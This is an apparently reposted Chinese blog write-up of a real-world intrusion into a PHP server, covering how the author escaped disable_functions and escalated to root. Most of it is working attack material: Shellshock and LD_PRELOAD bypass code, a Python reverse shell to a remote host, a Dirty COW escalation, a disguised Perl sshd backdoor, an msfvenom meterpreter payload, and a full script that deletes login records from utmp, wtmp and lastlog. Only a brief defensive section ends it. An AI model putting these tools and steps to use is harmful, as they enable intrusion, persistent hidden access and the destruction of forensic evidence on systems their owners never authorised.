为什么渗透提权这么难
Posted kali_Ma
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了为什么渗透提权这么难相关的知识，希望对你有一定的参考价值。
0x01 前言
某日朋友丢了一条 shell 叫我提权，我拿到 shell 看了一下，菜刀蚁剑都无法执行命令。
Getshell 的漏洞分析在:
https://getpass.cn/2019/09/06/An-APP-distribution-system-upload-vulnerability/ 214
然后搞了好久熬了一个晚上才弄好，中间走了很多弯路。。。
2021最新整理网络安全\\渗透测试/安全学习（全套视频、大厂面经、精品手册、必备工具包）一>点我<一
0x02 信息探测
上一个 phpinfo 看下环境
PHP Version 5.6.30 disable_functions: passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru sendmail_path:/usr/sbin/sendmail -t -i mysql: mysqlnd 5.0.11-dev - 20120503
宝塔警告！
问了宝塔的开发工程师，宝塔确实是做得挺好的，Windows 的基本没什么希望了，看下 Linux 的。
0x03 肝
putenv 这个没禁可以利用一下，
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
没戏。。
继续肝。。。
0x04 新希望 LD_PRELOAD
上 gayhub 上面搜了一下
按照了里面的一段代码 bypass_disablefunc.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void preloadme (void) {
unsetenv("LD_PRELOAD");
const char* cmdline = getenv("EVIL_CMDLINE");
system(cmdline);
}
编译了一下
然后上传调用文件 php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
利用的时候没回显，what？
还是利用 unix 的 LD_PRELOAD 和 php 的 putenv
#include<stdlib.h> __attribute__((constructor)) void l3yx(){ unsetenv("LD_PRELOAD"); system(getenv("_evilcmd")); }
利用 php 文件
<?php putenv("_evilcmd=echo 1>/root/tmp/222222"); putenv("LD_PRELOAD=./evil.so"); mail('a','a','a','a');
执行后去刷新了一下目录，！！！！我去，成功了！
但是这样执行代码总是有众多不便的，比如没有回显，把命令带参数执行的时候会报错等
还得继续。。。
0x05 柳暗花明又一村-centos
一个修复版的 bypass.c, 作者的解释：
如果你是一个细心的人你会发现这里的 bypass_disablefunc.c和教程中提及的不一样，多出了使用for 循环修改 LD_PRELOAD 的首个字符改成 \\0，如果你略微了解 C 语言就会知道 \\0 是 C 语言字符串结束标记，原因注释里有：unsetenv(“LD_PRELOAD”) 在某些 Linux 发行版不一定生效（如 CentOS），这样一个小动作能够让系统原有的 LD_PRELOAD 环境变量自动失效
然后从环境变量 EVIL_CMDLINE 中接收 bypass_disablefunc.php 传递过来的待执行的命令行。
用命令:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
将 bypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so：
要根据目标架构编译成不同版本，在 x64 的环境中编译，若不带编译选项则默认为 x64，若要编译成 x86 架构需要加上 -m32 选项。
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void) {
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\\0';
}
}
// executive command
system(cmdline);
}
偶 ~sex!
后来作者确实改进了代码
劫持 getuid()
基本原理
前提是在 Linux 中已安装并启用 sendmail 程序。
php 的 mail() 函数在执行过程中会默认调用系统程序 /usr/sbin/sendmail，而 /usr/sbin/sendmail 会调用 getuid()。如果我们能通过 LD_PRELOAD 的方式来劫持 getuid()，再用 mail() 函数来触发 sendmail 程序进而执行被劫持的 getuid()，从而就能执行恶意代码了。
细化一下：
编写一个原型为 uid_t getuid(void); 的 C 函数，内部执行攻击者指定的代码，并编译成共享对象 evil.so；
运行 PHP 函数 putenv()，设定环境变量 LD_PRELOAD 为 evil.so，以便后续启动新进程时优先加载该共享对象；
运行 PHP 的 mail() 函数，mail() 内部启动新进程 /usr/sbin/sendmail，由于上一步 LD_PRELOAD 的作用，sendmail 调用的系统函数 getuid() 被优先级更好的 evil.so 中的同名 getuid() 所劫持；
达到不调用 PHP 的各种命令执行函数（system()、exec() 等等）仍可执行系统命令的目的。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
gcc -shared -fPIC bypass.c -o byapss.so
编译了一下去利用，发现可以哦！
0x06 脏牛提权
可以执行命令了，执行上反弹 shell，有交互的 shell 舒服多了，这里用 python 的反弹脚本，一般系统有装 python 脚本，我都会先用 pyhton，因为有一些系统的不一样，bash 或者 nc 比较麻烦。
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
监听一波
反弹成功了
执行 uname -a 看了下版本
Linux cloud 2.6.32-642.el6.x86_64 #1 SMP Tue May 10 17:27:01 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
2.6 的版本上脏牛必中，可以不用在目标机子上面编译，在自己的 Linux 环境编译然后上传到目标机子上面执行
那就静静等待脏牛把 root 替换掉，然后脸上目标机子，大概要几分钟这样子，去连 ssh 的时候有些管理员会把 ssh 的端口改了，用命令 netstat -nlp 就可以看到了。
已经成功了，用户名为 firefart 密码是刚设置的 123456。
已经成功登陆目标机子
0x07 持续访问-ssh 后门
登陆目标机子后，记得及时恢复 /etc/passwd
cp /tmp/passwd.bak /etc/passwd
那些 pam 补丁、隐藏文件、suid、inetd 等都可以用作后门，看你环境。
1、这个 ssh 后门伪装成一个 perl 脚本，名为 sshd，位于 /usr/sbin/sshd , 将系统原先的 sshd 移到 /usr/bin 下
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
2、将真正的 sshd 移至 /usr/bin/sshd
mv /usr/sbin/sshd /usr/bin/sshd
3、将后门 sshd (perl 脚本移动至 /usr/sbin/sshd),并授予执行权限
chmod +x /usr/sbin/sshd
4、重启 ssh 服务
/etc/init.d/sshd restart
5、连接后门，记得安装好 socat
sudo yum install socat
#socat STDIO TCP4:目标ip:ssh端口一般是22,sourceport=31334
socat STDIO TCP4:127.0.0.1:22,sourceport=31334
0x08 metaspliot 横向渗透
当然做内网渗透必不可少的就是 msf 了，如果是 Windows 的话推荐使用 CobaltStrike 非常 nice 的一个工具。
反正我们现在拿到 root 的 shell 了，先反弹一个 Meterpreter 的会话，还是常规的生成 payload，然后监听等待上线
1、先生成一个后门
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.79.132 LPORT=4455 -f elf > shell.elf
2、把 shell.elf 上传到目标机子上面运行
3、在本地执行监听
use exploit/multi/handler set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4455 exploit
4、执行后门反弹 Meterpreter 的会话
chmod +x ./shell.elf ./shell.elf
5、查看跳板机处于哪几个网段
run get_local_subnets
看了一下。。。
但是我这个是属于外网的机子，后来想了一下感觉都不是内网一点意思都没有。。。
算了吧下次有遇到内网的可以再写一篇内网渗透的文章出来哈
0x09 擦屁股
走之后记得清理痕迹，以防被溯源或者被管理员发现了。下面附上一个脚本供大家使用：
#!/usr/bin/env python
import os, struct, sys
from pwd import getpwnam
from time import strptime, mktime
from optparse import OptionParser
UTMPFILE = "/var/run/utmp"
WTMPFILE = "/var/log/wtmp"
LASTLOGFILE = "/var/log/lastlog"
LAST_STRUCT = 'I32s256s'
LAST_STRUCT_SIZE = struct.calcsize(LAST_STRUCT)
XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'
XTMP_STRUCT_SIZE = struct.calcsize(XTMP_STRUCT)
def getXtmp(filename, username, hostname):
xtmp = ''
try:
fp = open(filename, 'rb')
while True:
bytes = fp.read(XTMP_STRUCT_SIZE)
if not bytes:
break
data = struct.unpack(XTMP_STRUCT, bytes)
record = [(lambda s: str(s).split("\\0", 1)[0])(i) for i in data]
if (record[4] == username and record[5] == hostname):
continue
xtmp += bytes
except:
showMessage('Cannot open file: %s' % filename)
finally:
fp.close()
return xtmp
def modifyLast(filename, username, hostname, ttyname, strtime):
try:
p = getpwnam(username)
except:
showMessage('No such user.')
timestamp = 0
try:
str2time = strptime(strtime, '%Y:%m:%d:%H:%M:%S')
timestamp = int(mktime(str2time))
except:
showMessage('Time format err.')
data = struct.pack(LAST_STRUCT, timestamp, ttyname, hostname)
try:
fp = open(filename, 'wb')
fp.seek(LAST_STRUCT_SIZE * p.pw_uid)
fp.write(data)
except:
showMessage('Cannot open file: %s' % filename)
finally:
fp.close()
return True
def showMessage(msg):
print msg
exit(-1)
def saveFile(filename, contents):
try:
fp = open(filename, 'w+b')
fp.write(contents)
except IOError as e:
showMessage(e)
finally:
fp.close()
if __name__ == '__main__':
usage = 'usage: logtamper.py -m 2 -u b4dboy -i 192.168.0.188\\n \\
logtamper.py -m 3 -u b4dboy -i 192.168.0.188 -t tty1 -d 2015:05:28:10:11:12'
parser = OptionParser(usage=usage)
parser.add_option('-m', '--mode', dest='MODE', default='1' , help='1: utmp, 2: wtmp, 3: lastlog [default: 1]')
parser.add_option('-t', '--ttyname', dest='TTYNAME')
parser.add_option('-f', '--filename', dest='FILENAME')
parser.add_option('-u', '--username', dest='USERNAME')
parser.add_option('-i', '--hostname', dest='HOSTNAME')
parser.add_option('-d', '--dateline', dest='DATELINE')
(options, args) = parser.parse_args()
if len(args) < 3:
if options.MODE == '1':
if options.USERNAME == None or options.HOSTNAME == None:
showMessage('+[Warning]: Incorrect parameter.\\n')
if options.FILENAME == None:
options.FILENAME = UTMPFILE
# tamper
newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
saveFile(options.FILENAME, newData)
elif options.MODE == '2':
if options.USERNAME == None or options.HOSTNAME == None:
showMessage('+[Warning]: Incorrect parameter.\\n')
if options.FILENAME == None:
options.FILENAME = WTMPFILE
# tamper
newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
saveFile(options.FILENAME, newData)
elif options.MODE == '3':
if options.USERNAME == None or options.HOSTNAME == None or options.TTYNAME == None or options.DATELINE == None:
showMessage('+[Warning]: Incorrect parameter.\\n')
if options.FILENAME == None:
options.FILENAME = LASTLOGFILE
# tamper
modifyLast(options.FILENAME, options.USERNAME, options.HOSTNAME, options.TTYNAME , options.DATELINE)
else:
parser.print_help()
0x10 防御措施
1、此次渗透的入口点还是目标站点的程序出现的上传漏洞，应该对程序的上传点做过滤加白名单。
2、其实宝塔的功能已经对 php 的执行命令的函数做了严格的封锁，但是还是有漏网之鱼，在宝塔禁用的函数基础上的 disable_function 里面加上 putenv 函数的禁用。
3、被用脏牛提权，这个是内核的漏洞，应该及时升级内核版本,执行以下命令，需要重启。
Centos/RHEL 更新
sudo yum update
Ubuntu/Debian 更新
sudo apt-get update && sudo apt-get dist-upgrade
4、如果被植入后门了
应该及时查看和本机的连接情况，可以用 netstat 查看。
查看用户是否有改动, cat /etc/passwd 。
查看可疑进程 top
以上是关于为什么渗透提权这么难的主要内容，如果未能解决你的问题，请参考以下文章